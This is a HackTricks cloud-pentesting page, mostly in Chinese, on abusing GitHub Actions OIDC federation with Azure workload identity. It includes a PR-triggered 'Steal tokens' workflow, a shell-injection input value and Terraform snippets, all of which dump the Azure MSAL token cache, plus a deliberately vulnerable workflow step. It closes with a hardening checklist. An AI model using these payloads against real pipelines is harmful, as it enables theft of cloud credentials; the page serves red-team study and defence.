Azure – Federation Abuse (GitHub Actions OIDC / Workload Identity)
Tip
学习和实践 AWS 黑客技术:
HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
概述
GitHub Actions 可以使用 OpenID Connect (OIDC) 与 Azure Entra ID(之前称为 Azure AD)建立联邦。GitHub workflow 会请求一个短期的 GitHub ID token (JWT),该 token 编码了关于此次运行的详细信息。Azure 会将此 token 针对 App Registration(service principal)上的 Federated Identity Credential (FIC) 进行验证,并将其兑换为 Azure 访问令牌(MSAL cache,用于 Azure APIs 的 bearer tokens)。
Azure 至少会验证:
- iss: https://token.actions.githubusercontent.com
- aud: api://AzureADTokenExchange (when exchanging for Azure tokens)
- sub: must match the configured FIC Subject identifier
默认的 GitHub aud 可能是一个 GitHub URL。与 Azure 交换时,请明确将 audience 设置为 api://AzureADTokenExchange。
GitHub ID token quick PoC
name: Print OIDC identity token
on: { workflow_dispatch: {} }
permissions:
id-token: write
jobs:
view-token:
runs-on: ubuntu-latest
steps:
- name: get-token
run: |
OIDC_TOKEN=$(curl -H "Authorization: bearer $ACTIONS_ID_TOKEN_REQUEST_TOKEN" "$ACTIONS_ID_TOKEN_REQUEST_URL")
# Base64 avoid GitHub masking
echo "$OIDC_TOKEN" | base64 -w0
在令牌请求中强制 Azure audience:
OIDC_TOKEN=$(curl -H "Authorization: bearer $ACTIONS_ID_TOKEN_REQUEST_TOKEN" \
"$ACTIONS_ID_TOKEN_REQUEST_URL&audience=api://AzureADTokenExchange")
Azure 设置 (Workload Identity Federation)
-
创建 App Registration (service principal),并授予最小权限(例如,对特定 storage account 赋予 Storage Blob Data Contributor)。
-
添加 Federated identity credentials:
- Issuer: https://token.actions.githubusercontent.com
- Audience: api://AzureADTokenExchange
- Subject identifier: 将范围严格限定于目标的 workflow/run 上下文(见下面的 Scoping and risks)。
- 使用 azure/login 交换 GitHub ID token 并登录 Azure CLI:
name: Deploy to Azure
on:
push: { branches: [main] }
permissions:
id-token: write
contents: read
jobs:
deploy:
runs-on: ubuntu-latest
steps:
- name: Az CLI login
uses: azure/login@v2
with:
client-id: ${{ secrets.AZURE_CLIENT_ID }}
tenant-id: ${{ secrets.AZURE_TENANT_ID }}
subscription-id: ${{ secrets.AZURE_SUBSCRIPTION_ID }}
- name: Upload file to Azure
run: |
az storage blob upload --data "test" -c hmm -n testblob \
--account-name sofiatest --auth-mode login
手动交换示例 (显示的是 Graph 作用域;ARM 或其他资源类似):
POST /<TENANT-ID>/oauth2/v2.0/token HTTP/2
Host: login.microsoftonline.com
Content-Type: application/x-www-form-urlencoded
client_id=<app-client-id>&grant_type=client_credentials&
client_assertion=<GitHub-ID-token>&client_info=1&
client_assertion_type=urn%3Aietf%3Aparams%3Aoauth%3Aclient-assertion-type%3Ajwt-bearer&
scope=https%3a%2f%2fgraph.microsoft.com%2f%2f.default
GitHub OIDC subject (sub) 的结构与自定义
默认 sub 格式: repo:
上下文值包括:
- environment:
- pull_request (当不在 environment 时触发)
- ref:refs/(heads|tags)/
payload 中常见的有用声明:
- repository, ref, ref_type, ref_protected, repository_visibility, job_workflow_ref, actor
通过 GitHub API 自定义 sub 的组成,以包含额外的声明并降低冲突风险:
gh api orgs/<org>/actions/oidc/customization/sub
gh api repos/<org>/<repo>/actions/oidc/customization/sub
# Example to include owner and visibility
gh api \
--method PUT \
repos/<org>/<repo>/actions/oidc/customization/sub \
-f use_default=false \
-f include_claim_keys='["repository_owner","repository_visibility"]'
注意:环境名称中的冒号已被 URL 编码(%3A),移除了针对 sub 解析的旧的分隔符注入技巧。然而,使用非唯一主体(例如,仅 environment:
FIC 主体类型的范围和风险
- 分支/标签:sub=repo:
/ :ref:refs/heads/ or ref:refs/tags/ - 风险:如果分支/标签未受保护,任何 contributor 都可以 push 并获取 tokens。
- 环境:sub=repo:
/ :environment: - 风险:未受保护的环境(无 reviewers)允许 contributor mint tokens。
- Pull request:sub=repo:
/ :pull_request - 最高风险:任何 collaborator 都可以打开 PR 并满足 FIC。
PoC:由 PR 触发的 token 窃取(exfiltrate 由 Azure CLI 缓存写入的 azure/login):
name: Steal tokens
on: pull_request
permissions:
id-token: write
contents: read
jobs:
extract-creds:
runs-on: ubuntu-latest
steps:
- name: azure login
uses: azure/login@v2
with:
client-id: ${{ secrets.AZURE_CLIENT_ID }}
tenant-id: ${{ secrets.AZURE_TENANT_ID }}
subscription-id: ${{ secrets.AZURE_SUBSCRIPTION_ID }}
- name: Extract access token
run: |
# Azure CLI caches tokens here on Linux runners
cat /home/runner/.azure/msal_token_cache.json | base64 -w0 | base64 -w0
# Decode twice locally to recover the bearer token
相关文件位置和说明:
- Linux/macOS: ~/.azure/msal_token_cache.json 保存 MSAL tokens(用于 az CLI 会话)
- Windows: msal_token_cache.bin 位于用户配置文件下;受 DPAPI‑保护
可重用工作流和 job_workflow_ref 作用域
调用可重用工作流会将 job_workflow_ref 添加到 GitHub ID token 中,例如:
ndc-security-demo/reusable-workflows/.github/workflows/reusable-file-upload.yaml@refs/heads/main
FIC 示例:同时将调用者仓库和可重用工作流绑定:
sub=repo:<org>/<repo>:job_workflow_ref:<org>/<reusable-repo>/.github/workflows/<file>@<ref>
在 caller repo 中配置 claims,使 repo 和 job_workflow_ref 都出现在 sub:
PUT /repos/<org>/<repo>/actions/oidc/customization/sub HTTP/2
Host: api.github.com
Authorization: token <access token>
{"use_default": false, "include_claim_keys": ["repo", "job_workflow_ref"]}
Warning: 如果你仅在 FIC 中绑定 job_workflow_ref,攻击者可能在同一 org 中创建不同的 repo,在相同的 ref 上运行相同的 reusable workflow,满足 FIC,并 mint tokens。始终也包括 caller repo。
Code execution vectors that bypass job_workflow_ref protections
即使 job_workflow_ref 范围设置正确,任何到达 shell 且未经过安全引用的 caller‑controlled data 都可能导致在 protected workflow context 内执行代码。
Example vulnerable reusable step (unquoted interpolation):
- name: Example Security Check
run: |
echo "Checking file contents"
if [[ "${{ inputs.file_contents }}" == *"malicious"* ]]; then
echo "Malicious content detected!"; exit 1
else
echo "File contents are safe."
fi
恶意调用者输入以执行命令并外泄 Azure token cache:
with:
file_contents: 'a" == "a" ]]; then cat /home/runner/.azure/msal_token_cache.json | base64 -w0 | base64 -w0; fi; if [[ "a'
Terraform plan 在 PRs 中作为执行原语
将 terraform plan 视为代码执行。During plan, Terraform can:
- 通过像 file() 这样的函数读取任意文件
- 通过 external data source 执行命令
Example to exfiltrate Azure token cache during plan:
output "msal_token_cache" {
value = base64encode(base64encode(file("/home/runner/.azure/msal_token_cache.json")))
}
或者使用 external 来运行任意命令:
data "external" "exfil" {
program = ["bash", "-lc", "cat ~/.azure/msal_token_cache.json | base64 -w0 | base64 -w0"]
}
Granting FICs usable on PR‑triggered plans exposes privileged tokens and can tee up destructive apply later. Separate identities for plan vs apply; never allow privileged tokens in untrusted PR contexts.
加固清单
- 切勿对敏感的 FICs 使用 sub=…:pull_request
- 保护 FICs 所引用的任何分支/标签/环境(如 branch protection、environment reviewers)
- 优先将 FICs 限定到 repo 与 job_workflow_ref(用于 reusable workflows)
- 自定义 GitHub OIDC 的 sub,以包含唯一的 claims(例如 repo、job_workflow_ref、repository_owner)
- 消除在 run 步骤中对 caller inputs 的未加引号插值;对输入进行安全编码/加引号
- 将 terraform plan 视为代码执行;在 PR 场景中限制或隔离身份
- 对 App Registrations 强制最小权限;对 plan 与 apply 使用分离身份
- 将 actions 与 reusable workflows 钉到 commit SHAs(避免使用分支/标签 pin)
手动测试提示
- 在 workflow 中请求 GitHub ID token,并以 base64 打印以避免被掩盖
- 解码 JWT 检查以下 claims:iss、aud、sub、job_workflow_ref、repository、ref
- 手动将 ID token 兑换到 login.microsoftonline.com 以确认 FIC 匹配及 scopes
- 在 azure/login 之后,读取 ~/.azure/msal_token_cache.json 以验证令牌材料存在
References
- GitHub Actions → Azure via OIDC: weak FIC and hardening (BinarySecurity)
- azure/login action
- Terraform external data source
- gh CLI
- PaloAltoNetworks/github-oidc-utils
Tip
学习和实践 AWS 黑客技术:
HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
HackTricks Cloud

